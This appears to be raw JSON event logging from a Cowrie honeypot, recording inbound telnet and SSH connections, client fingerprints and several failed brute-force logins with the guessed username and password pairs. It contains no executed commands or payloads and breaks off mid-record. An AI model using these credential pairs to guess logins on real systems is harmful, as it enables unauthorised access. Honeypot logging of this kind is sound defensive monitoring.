{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":48000,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c7ea04574a","protocol":"telnet","message":"New connection: 5.189.169.71:48000 (10.17.0.5:23) [session: 15c7ea04574a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:08.501476Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46270,"dst_ip":"10.17.0.5","dst_port":22,"session":"c998ad340b72","protocol":"ssh","message":"New connection: 176.65.139.103:46270 (10.17.0.5:22) [session: c998ad340b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:09.530706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:09.540612Z","src_ip":"176.65.139.103","session":"c998ad340b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:09.625726Z","src_ip":"176.65.139.103","session":"c998ad340b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:09.894304Z","src_ip":"176.65.139.103","session":"c998ad340b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.717569589614868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:10.068107Z","src_ip":"5.189.169.71","session":"793dd6b7d6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:11.025865Z","src_ip":"176.65.139.103","session":"c998ad340b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":48004,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ccf75d2035e","protocol":"telnet","message":"New connection: 5.189.169.71:48004 (10.17.0.5:23) [session: 6ccf75d2035e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:11.849709Z"}
{"eventid":"cowrie.session.closed","duration":32.162461042404175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:12.469982Z","src_ip":"23.254.167.244","session":"f255de2b6f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84168982505798,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:12.508591Z","src_ip":"23.254.167.244","session":"76aca5616392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790573358535767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:13.098475Z","src_ip":"5.189.169.71","session":"746106ad4fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a826aee9e04d","protocol":"telnet","message":"New connection: 23.254.167.244:51228 (159.203.135.109:23) [session: a826aee9e04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:13.970236Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":49322,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d402cbb50b","protocol":"ssh","message":"New connection: 20.244.18.126:49322 (10.17.0.5:22) [session: 37d402cbb50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:14.239831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:14.245654Z","src_ip":"20.244.18.126","session":"37d402cbb50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:14.440187Z","src_ip":"20.244.18.126","session":"37d402cbb50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webserver","message":"login attempt [root/webserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:15.245789Z","src_ip":"20.244.18.126","session":"37d402cbb50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53514,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb34ca7d1114","protocol":"ssh","message":"New connection: 176.65.139.103:53514 (10.17.0.5:22) [session: bb34ca7d1114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:15.450799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:15.456442Z","src_ip":"176.65.139.103","session":"bb34ca7d1114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:15.572586Z","src_ip":"176.65.139.103","session":"bb34ca7d1114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:16.187029Z","src_ip":"176.65.139.103","session":"bb34ca7d1114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:16.448443Z","src_ip":"20.244.18.126","session":"37d402cbb50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:17.272037Z","src_ip":"176.65.139.103","session":"bb34ca7d1114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec444d8b869","protocol":"telnet","message":"New connection: 5.189.169.71:34938 (10.17.0.5:23) [session: 9ec444d8b869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:18.641101Z"}
{"eventid":"cowrie.session.closed","duration":31.075908422470093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:21.057060Z","src_ip":"5.189.169.71","session":"dc83556e7560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.384220600128174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:21.069441Z","src_ip":"5.189.169.71","session":"054856416b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53530,"dst_ip":"10.17.0.5","dst_port":22,"session":"c375d99e180e","protocol":"ssh","message":"New connection: 176.65.139.103:53530 (10.17.0.5:22) [session: c375d99e180e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:21.878484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:21.883142Z","src_ip":"176.65.139.103","session":"c375d99e180e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:21.964996Z","src_ip":"176.65.139.103","session":"c375d99e180e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.650519609451294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:22.187104Z","src_ip":"5.189.169.71","session":"1fa834434808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33496,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a216c0980b5","protocol":"telnet","message":"New connection: 23.254.167.244:33496 (159.203.135.109:23) [session: 6a216c0980b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:22.192773Z"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:22.217039Z","src_ip":"176.65.139.103","session":"c375d99e180e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:23.376987Z","src_ip":"176.65.139.103","session":"c375d99e180e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53518843650818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:27.090080Z","src_ip":"5.189.169.71","session":"f047ef6562b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42688,"dst_ip":"10.17.0.5","dst_port":22,"session":"768dc1029fc9","protocol":"ssh","message":"New connection: 176.65.139.103:42688 (10.17.0.5:22) [session: 768dc1029fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:27.956715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:27.965268Z","src_ip":"176.65.139.103","session":"768dc1029fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:28.041362Z","src_ip":"176.65.139.103","session":"768dc1029fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52196431159973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:28.091792Z","src_ip":"5.189.169.71","session":"c7040b59f3ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:28.369441Z","src_ip":"176.65.139.103","session":"768dc1029fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:29.457637Z","src_ip":"176.65.139.103","session":"768dc1029fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28663730621338,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:30.025658Z","src_ip":"185.26.126.47","session":"0a6dc48ece26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f89dc5b68d","protocol":"telnet","message":"New connection: 5.189.169.71:41366 (10.17.0.5:23) [session: a7f89dc5b68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:30.876890Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":18526,"dst_ip":"10.17.0.5","dst_port":22,"session":"9157a2e04a40","protocol":"ssh","message":"New connection: 74.87.117.149:18526 (10.17.0.5:22) [session: 9157a2e04a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:31.123042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:31.127432Z","src_ip":"74.87.117.149","session":"9157a2e04a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:31.153596Z","src_ip":"74.87.117.149","session":"9157a2e04a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qqq111","message":"login attempt [admin/qqq111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:31.283912Z","src_ip":"74.87.117.149","session":"9157a2e04a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:32.310735Z","src_ip":"74.87.117.149","session":"9157a2e04a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.13888764381409,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:33.790204Z","src_ip":"23.254.167.244","session":"db1a5090a3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815343618392944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:34.102916Z","src_ip":"5.189.169.71","session":"ca9f5bd76568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45232,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5b4ec5748c","protocol":"ssh","message":"New connection: 176.65.139.103:45232 (10.17.0.5:22) [session: 7e5b4ec5748c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:34.462642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:34.487406Z","src_ip":"176.65.139.103","session":"7e5b4ec5748c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"S